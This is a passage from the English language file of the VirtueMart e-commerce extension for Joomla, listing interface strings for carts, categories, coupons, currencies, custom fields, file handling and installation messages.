    %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (strong security)" COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s products" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 product" COM_VIRTUEMART_ALL="All" COM_VIRTUEMART_ALL_EXTENSIONS="See All Extensions" COM_VIRTUEMART_ALL_NEWS="Read all News" COM_VIRTUEMART_APPLY="Apply" COM_VIRTUEMART_ASC="Ascending Order" ;COM_VIRTUEMART_ASKQU_CS_MAX="too long" ;COM_VIRTUEMART_ASKQU_CS_MIN="Minimum not reached" COM_VIRTUEMART_ASKQU_INV_MAIL="Given email address is invalid" COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Assign Zones" COM_VIRTUEMART_ATTRIBUTES="Attributes" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Attribute Name" COM_VIRTUEMART_AVAILABILITY="Availability" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Will be displayed when Products Out of stock are orderable" COM_VIRTUEMART_BACK="Back" COM_VIRTUEMART_BACK_TO_DETAILS="Back to Product Details" COM_VIRTUEMART_CALC="Tax & Calculation Rule" COM_VIRTUEMART_CALC_DETAILS="Tax & Calculation Rule Details" COM_VIRTUEMART_CALC_EPOINT_DATAX="Price modifier after tax" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Price modifier after tax per bill" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Price modifier before tax" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Price modifier before tax per bill" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Price modifier for Profit Margin" COM_VIRTUEMART_CALC_EPOINT_TAX="Tax per product" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="Tax per bill" COM_VIRTUEMART_CALC_EPOINT_VATTAX="Vat tax per product" COM_VIRTUEMART_CALC_KIND="Type of Arithmetic Operation" COM_VIRTUEMART_CALC_LOCATION="Countries" COM_VIRTUEMART_CALC_NAME="Calculation Rule name" COM_VIRTUEMART_CALC_S="Taxes & Calculation Rules" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="Not Visible for Shopper" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Visible for Shopper" COM_VIRTUEMART_CALC_VALUE_MATHOP="Math Operation" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="Not Visible for Vendor" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Visible for Vendor" COM_VIRTUEMART_CALC_VIS_SHOPPER="Visible Shopper" COM_VIRTUEMART_CALC_VIS_VENDOR="Visible Vendor" COM_VIRTUEMART_CANCEL="Cancel" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="Can't create image for category" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="Can't create image for manufacturer" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="Can't create image for product" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="Can't create image for vendor" COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

    Order confirmed

    You bought and confirmed an order in %1$s shop online.

    You can check the status of your order by going on your personal account

    " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Your order password:" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No payment selected" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No shipment selected" COM_VIRTUEMART_CART_PRICE="Price " COM_VIRTUEMART_CART_PRICE_FREE="No additional charge" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Search for Related Categories" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" COM_VIRTUEMART_CATEGORY="Product Category" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT="Page Layout" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_LAYOUT_DESC="Here you can override the VirtueMart page layout by assigning a different layout to a specific menu item" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Select a Category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Select a Category" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Category Browse Page" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Default Product Details Page" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Initial number of listed items" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS_TIP="This is the number of items listed when a user enters the category without having selected a number already. This is also an override. Leave empty to use the system defaults" COM_VIRTUEMART_CATEGORY_FORM_LBL="Product Category Form" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Category Pagination Sequence" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP_TIP="Leave empty, to use the default set in the main config, else set a list of numbers seperated by commas that will be used in the list box on the Front End.
    Example: 6,12,18,24
    " COM_VIRTUEMART_CATEGORY_FORM_PARENT="Parent Category" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Number of Products per Row" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW_TIP="Leave it empty to use the default value set in the vm configuration" COM_VIRTUEMART_CATEGORY_FORM_SHARED="Category is shared?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Category Template" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Top Level Category" COM_VIRTUEMART_CATEGORY_ID="Category Id" COM_VIRTUEMART_CATEGORY_NAME="Category Name" COM_VIRTUEMART_CATEGORY_ORDERING="Category Ordering" COM_VIRTUEMART_CATEGORY_S="Product Categories" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Set category to shared" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Use shop default" COM_VIRTUEMART_CATEGORY_UNSHARE="Unshared category" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Unshared category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Show / Change the Transaction Key" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="Generic child variant" COM_VIRTUEMART_CLONE="Clone" COM_VIRTUEMART_CLOSE="Close" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_CMN_OPTIONAL="Optional" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Columns, Rows attributes" COM_VIRTUEMART_COMMENT="Comment" COM_VIRTUEMART_COMMENT_MIN_MAX="Your message should have between %s to %s characters. Thank you." COM_VIRTUEMART_COMMUNITY_FORUM="Forum" COM_VIRTUEMART_CONFIG="Configuration" COM_VIRTUEMART_CONFIGURATION="Configuration" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Unable to write into the configuration file %s!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="The configuration details have been updated!" COM_VIRTUEMART_CONFIGURATION_MOD="Configuration" COM_VIRTUEMART_CONFIG_SAVED="Configuration Saved" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No Shop Currency defined! Go to %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Currency is not formatted! Go to %s" COM_VIRTUEMART_CONTROL_PANEL="Control Panel" COM_VIRTUEMART_COOKIE_MISSING="Cookie Missing" COM_VIRTUEMART_COUNTRY="Country" COM_VIRTUEMART_COUNTRY_2_CODE="Country (2) Code" COM_VIRTUEMART_COUNTRY_3_CODE="Country (3) Code" COM_VIRTUEMART_COUNTRY_DETAILS="Country Details" COM_VIRTUEMART_COUNTRY_NAME="Country Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Country Reference Name" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="The Country Reference Name is used when no key exist in the language file for this country. Otherwise the language key will be used. The countries languages keys are in 'com_virtuemart_countries.ini' file. The key must have the prefix 'COM_VIRTUEMART_COUNTRY_' followed by the country 3 code letter" COM_VIRTUEMART_COUNTRY_S="Countries" COM_VIRTUEMART_COUPON="Coupon" COM_VIRTUEMART_COUPON_CODE="Coupon Code" COM_VIRTUEMART_COUPON_DETAILS="Coupon Details" COM_VIRTUEMART_COUPON_DISCOUNT="Coupon Discount" COM_VIRTUEMART_COUPON_EXPIRY="Coupon Expiry Date" COM_VIRTUEMART_COUPON_EXPIRY_TIP="Coupon Expiry Date" COM_VIRTUEMART_COUPON_PERCENT="Percent" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Percent or Total" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Percent or Total" COM_VIRTUEMART_COUPON_S="Coupons" COM_VIRTUEMART_COUPON_START="Coupon Start Date" COM_VIRTUEMART_COUPON_START_TIP="Coupon Start Date" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Submit" COM_VIRTUEMART_COUPON_TIP="The coupon code the client will need to enter" COM_VIRTUEMART_COUPON_TOTAL="Total" COM_VIRTUEMART_COUPON_TYPE="Coupon Type" COM_VIRTUEMART_COUPON_TYPE_GIFT="Gift Coupon" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Permanent Coupon" COM_VIRTUEMART_COUPON_TYPE_TIP="A Gift Coupon is deleted after it was used for discounting an order. A permanent coupon can be used as often as the shopper wants to." COM_VIRTUEMART_COUPON_USED="Coupon used" COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="Coupon value must be a number." COM_VIRTUEMART_COUPON_VALUE_TIP="Coupon value" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Minimum Total Order" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Invalid Value for Order Value to be valid" COM_VIRTUEMART_CREATED_ON="Creation Date" COM_VIRTUEMART_CREATE_ACCOUNT="Register" COM_VIRTUEMART_CURRENCY="Currency" COM_VIRTUEMART_CURRENCY_CODE_2="Code 2 letters" COM_VIRTUEMART_CURRENCY_CODE_3="Code 3 letters" COM_VIRTUEMART_CURRENCY_DECIMALS="Decimals" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Decimal Symbol" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Character used as decimal symbol" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Number of displayed decimals (can be 0)
    Performs rounding if value has different number of decimals" COM_VIRTUEMART_CURRENCY_DETAILS="Currency Details" COM_VIRTUEMART_CURRENCY_DISPLAY="Currency Display Style" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="For Positive or Negative Format, use
    • {sign} for the algebraic sign,
    • {number} for the value and
    • {symbol} for the currency
    as placeholder, all html tags are allowed, except the character | is not allowed
    For example
    "{sign} <b>{number}</b> {symbol}"
    will display a price like "+ 42,23 €"" COM_VIRTUEMART_CURRENCY_END_DATE="End date" COM_VIRTUEMART_CURRENCY_ERR_CODE="You must enter a code for the currency." COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="Please select a currency to delete." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Exchange Rate" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Currency function Forbidden for non vendors" COM_VIRTUEMART_CURRENCY_NAME="currency name" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Negative Format" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Numeric Code" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Positive Format" COM_VIRTUEMART_CURRENCY_S="Currencies" COM_VIRTUEMART_CURRENCY_START_DATE="Start date" COM_VIRTUEMART_CURRENCY_SYMBOL="Currency Symbol" COM_VIRTUEMART_CURRENCY_THOUSANDS="Thousands Separator" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="This product is currently not available." COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Current Transaction Key" COM_VIRTUEMART_CUSTOM="Custom Fields" COM_VIRTUEMART_CUSTOMER_RATING="Average shopper rating" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Some Plugin can contain Javascript. Please click on 'Apply' button (Joomla 1.5.x), or 'Save' button (Joomla 2.5.x) to display the appropriate parameters" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Admin only" COM_VIRTUEMART_CUSTOM_BOOL="Boolean" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="The custom record itself cannot be the parent !" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Cart User Variant" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Cart Variant" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="The Custom Type(s) was successfully cloned" COM_VIRTUEMART_CUSTOM_DEFAULT="Default value" COM_VIRTUEMART_CUSTOM_EDITOR="Editor" COM_VIRTUEMART_CUSTOM_EXTENSION="Plug-ins" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Description" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Price: " COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Custom Field Type: " COM_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_CUSTOM_IMAGE="Image" COM_VIRTUEMART_CUSTOM_INT="Integer" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Cart Attribute" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Hidden" COM_VIRTUEMART_CUSTOM_IS_LIST="Is a list?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Layout position" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Fail to clone the Custom Type(s)" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="No child product" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="No relation found" COM_VIRTUEMART_CUSTOM_NO_TYPES="No custom Fields. Please use select list to add some new fields" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Custom Page Title" COM_VIRTUEMART_CUSTOM_PARENT="Parent" COM_VIRTUEMART_CUSTOM_PO="Parent orderable" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Child product" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Overwrite plugin values of the parent" COM_VIRTUEMART_CUSTOM_STRING="String" COM_VIRTUEMART_CUSTOM_TEXTAREA="Textarea" COM_VIRTUEMART_CUSTOM_TIP="Tooltip" COM_VIRTUEMART_CUSTOM_TITLE="Title" COM_VIRTUEMART_CUSTOM_WP="Display parent as option" COM_VIRTUEMART_DATE="Date" ; This is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 is used to generate date for datepicker and must be contain only m d and y with the separators COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="m/d/y" ; see http://docs.jquery.com/UI/Datepicker/formatDate to find the JS format COM_VIRTUEMART_DAY="Day" COM_VIRTUEMART_DEFAULT="Default" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Default-Top Level" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Default Vendor Currency" COM_VIRTUEMART_DELETE="Delete" COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="%s custom field items have been deleted" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="%s media items have been deleted" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Reset all tables and do a fresh install" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="This deletes all tables of VirtueMart and makes a fresh install (no files). Are you sure?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Reset all tables and install sample data" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="This deletes all tables of VirtueMart and makes a demo install (no files). Are you sure?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Warning" COM_VIRTUEMART_DELETE_MSG="Are you sure you want to delete this record?" COM_VIRTUEMART_DELETE_RECORD="Delete this record" COM_VIRTUEMART_DELIVERYNOTE="Delivery Note" COM_VIRTUEMART_DELIVERYNOTE_CREATE="Create Delivery Note" COM_VIRTUEMART_DELIVERY_TIME="Usually ships in" COM_VIRTUEMART_DESC="Descending Order" COM_VIRTUEMART_DESCRIPTION="Description" COM_VIRTUEMART_DETAILS="Details" COM_VIRTUEMART_DISABLE_ITEM="Disable Item" COM_VIRTUEMART_DISPLAY_END="End Value" COM_VIRTUEMART_DISPLAY_STEP="Step Value" COM_VIRTUEMART_DISPLAY_STOCK="Display stock level" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="If enabled the stock level will be displayed in product category layout" COM_VIRTUEMART_DOCUMENTATION="Documentation" COM_VIRTUEMART_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_DO_LOGIN="You need to login" COM_VIRTUEMART_DRDOWN_AVA2ALL="Available for all" COM_VIRTUEMART_DRDOWN_NONE="None" COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL="Select languages if your shop is Multilingual" COM_VIRTUEMART_DRDOWN_SELALL="Select all" COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS="Select some options" COM_VIRTUEMART_EDIT="Edit" COM_VIRTUEMART_EDITSHOP="Edit" COM_VIRTUEMART_EDIT_PARENT="Edit product parent" COM_VIRTUEMART_EDIT_REVIEW="Edit" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMAIL_SENDTO="A confirmation email has been sent to" COM_VIRTUEMART_EMPTY_CATEGORY="This Category is currently empty." COM_VIRTUEMART_ENABLED="Enabled" COM_VIRTUEMART_ENABLE_ITEM="Enable item" COM_VIRTUEMART_ENCODE_INSECURE="ENCODE (insecure)" COM_VIRTUEMART_END_DATE="End Date" COM_VIRTUEMART_ENQUIRY="Enquiry" COM_VIRTUEMART_ENTER_VALID_DATE="Please enter a valid date format (YYYY-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="Please enter a value into the Field" COM_VIRTUEMART_ERROR="Error" COM_VIRTUEMART_ERROR_BODY="Hello,\n\n%s. The details are logged in the file %s\n\nThe VirtueMart Team" COM_VIRTUEMART_ERROR_SUBJECT="An error with your payment %s on your store %s" COM_VIRTUEMART_EXCLUDING_TAX="(excluding tax)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Reminder! Also update your extensions with the AIO installer" COM_VIRTUEMART_E_IMAGES="Images" COM_VIRTUEMART_E_REMOVE="Remove" COM_VIRTUEMART_FEATURED="Featured" COM_VIRTUEMART_FEATURED_PRODUCT="Featured Products" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Featured & Discounted Products" COM_VIRTUEMART_FEE="Fee" COM_VIRTUEMART_FEED_FEATURED_EXTENSION="Featured Extensions" COM_VIRTUEMART_FEED_LATEST_EXTENSION="Latest Extensions" COM_VIRTUEMART_FEED_LATEST_NEWS="Latest News" COM_VIRTUEMART_FEED_POPULAR_EXTENSION="Popular Extensions" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="Subscribe to the Feed of the latest Products!" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="Subscribe to the Feed of the latest Products in this Category!" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="User field from Joomla core" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_NAME="Field name" COM_VIRTUEMART_FIELDMANAGER_REORDER="Reorder" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Required" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Required" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Account" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Show/Hide in:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="Show in account maintenance" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Show in registration form" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Show in shipment form" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Registration" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Shipment" COM_VIRTUEMART_FIELDMANAGER_TITLE="Field title" COM_VIRTUEMART_FIELDMANAGER_TYPE="Field type" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="Not Required" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Age Verification (Date Select Fields)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Age Verification (Date Select Fields) Attributes" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Specify the minimum Age" COM_VIRTUEMART_FIELDS_CAPTCHA="Captcha Field (using com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Check Box (Multiple Select)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Check Box (Single Select)" COM_VIRTUEMART_FIELDS_DATE="Date" COM_VIRTUEMART_FIELDS_DELIMITER="--- Fieldset delimiter ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Drop Down (Multi Select)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Drop Down (Single Select)" COM_VIRTUEMART_FIELDS_EDITORAREA="Editor Text Area" COM_VIRTUEMART_FIELDS_EMAIL="Email Address" COM_VIRTUEMART_FIELDS_NEWSLETTER="Newsletter Subscription" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Radio Button" COM_VIRTUEMART_FIELDS_TEXTAREA="Text Area" COM_VIRTUEMART_FIELDS_TEXTFIELD="Text Field" COM_VIRTUEMART_FIELDS_WEBADDRESS="Web Address" COM_VIRTUEMART_FIELD_TYPE="Field Type" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Could not delete the File." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="File successfully deleted." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="Could not delete the Full Image File." COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Full Image successfully deleted." COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="The Thumbnail Image has been successfully created!" COM_VIRTUEMART_FILES_LIST="Files List" COM_VIRTUEMART_FILES_LIST_FILENAME="Filename" COM_VIRTUEMART_FILES_LIST_FILETITLE="File Title" COM_VIRTUEMART_FILES_LIST_FILETYPE="Filetype" COM_VIRTUEMART_FILES_LIST_GO_UP="Go Up" COM_VIRTUEMART_FILES_LIST_ROLE="Role" COM_VIRTUEMART_FILES_LIST_UP="Up" COM_VIRTUEMART_FILES_NOT_FOUND="Sorry, but the requested file wasn't found!" COM_VIRTUEMART_FILES_PATH_ERROR="Please provide a valid path!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="Could not delete the Thumbnail Image File (maybe didn't exist)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Thumbnail Image successfully deleted." COM_VIRTUEMART_FILES_UPLOAD_FAILURE="File/Image Upload Error" COM_VIRTUEMART_FILE_DELETE_ERR="File could not be deleted %s" COM_VIRTUEMART_FILE_DELETE_OK="File deleted" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Media File saved successfully" COM_VIRTUEMART_FILE_UPLOAD_OK="File %s uploaded" COM_VIRTUEMART_FILTER="Filter" COM_VIRTUEMART_FILTER_BY="Filter by" COM_VIRTUEMART_FOLDER_NOT_EXIST="Folder %s does not exist. You can create it, and place your images inside." COM_VIRTUEMART_FORM_EDIT=": [ Edit ]" COM_VIRTUEMART_FORM_GENERAL="General Informations" COM_VIRTUEMART_FORM_NEW=": [ New ]" COM_VIRTUEMART_FOR_SALE="File is for Sale" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="for a view with preselected manufacturer" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="The amount (INCLUDING TAX!) which is the Minimum for Free Shipment (example: 50 means Free Shipment when the customer checks out with $50 (including tax) or more." COM_VIRTUEMART_FREE_SHIPPING_CART="Shipment is free on this Order" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="Generally prevent https connections?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="When checked, the shopper is redirected to the http URL when not browsing in those shop areas, which are forced to use https." COM_VIRTUEMART_GO="Go" COM_VIRTUEMART_GROUP_NAME="Permission group name" COM_VIRTUEMART_HELP="Help" COM_VIRTUEMART_HELP_ABOUT="VirtueMart is the complete Open Source E-Commerce solution for Joomla!. It is an Application, which comes with a Component, more than 6 Modules and Mambots/Plugins. It has its roots in a Shopping Cart Script called 'phpShop' (Authors: Edikon Corp. & the phpShop community)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Make payments with PayPal ‚Äì it's fast, free and secure!" COM_VIRTUEMART_HELP_DONATION_DESC="Please consider a small donation to the VirtueMart Project to help us keep up the work on this Component and create new Features." COM_VIRTUEMART_HELP_HOMEPAGE="Homepage" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart is licensed under the {licensename} License." COM_VIRTUEMART_HELP_PROJECTLEADER="Project Leader" COM_VIRTUEMART_HELP_TEAM="There is a small team of Developers who help in evolving this Shopping Cart Script." COM_VIRTUEMART_HELP_TOPICS="Help Topics" COM_VIRTUEMART_HELP_YOURVERSION="Your {product} version" COM_VIRTUEMART_HI="Hi," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Hide out of stock products" COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED="Could not protect the folder %1s with an .htaccess file. Please add a file .htaccess to that folder containing the data %2s" COM_VIRTUEMART_ID="Id" COM_VIRTUEMART_IMAGE="Image" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_INCLUDING_TAX="(including $tax % tax)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-none-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="Please use renew config from file in Tools => Updates/Migration" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="The Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALLATION_WELCOME="Welcome to VirtueMart
    The complete e-Commerce shopping cart solution for Joomla" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_INTNOTES="Product Internal Notes" COM_VIRTUEMART_INVOICE="Invoice" COM_VIRTUEMART_INVOICE_CREATE="Force creation of invoice" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="InvoiceNumber is Reserved by Payment." COM_VIRTUEMART_INVOICE_PRINT="Print Invoice" COM_VIRTUEMART_ITEM="Item" COM_VIRTUEMART_ITEMS_MOVED="You sorted a total of %s Items" COM_VIRTUEMART_ITEMS_NOT_MOVED="items was already well-sorted" COM_VIRTUEMART_ITEM_MOVED_DOWN="Item Moved Down" COM_VIRTUEMART_ITEM_MOVED_UP="Item Moved Up" COM_VIRTUEMART_ITEM_NEXT="next order" COM_VIRTUEMART_ITEM_PREVIOUS="previous order" COM_VIRTUEMART_I_AGREE_TO_TOS="I agree to the Terms of Service" COM_VIRTUEMART_JPLUGINWARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component" ; JAVASCRIPT Declaration, respect the Json format use this format "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'edit image',select_all_text: 'select all options',select_some_options_text :'Select some Options', select_an_option_text:'Select an Option'" COM_VIRTUEMART_LANG_IS_EMPTY="No (%1$s) translation in %2$s, please fill the fields with Flags" COM_VIRTUEMART_LAST_UPDATED="Last Updated" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED="Last modified products first" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
    Returns Policy
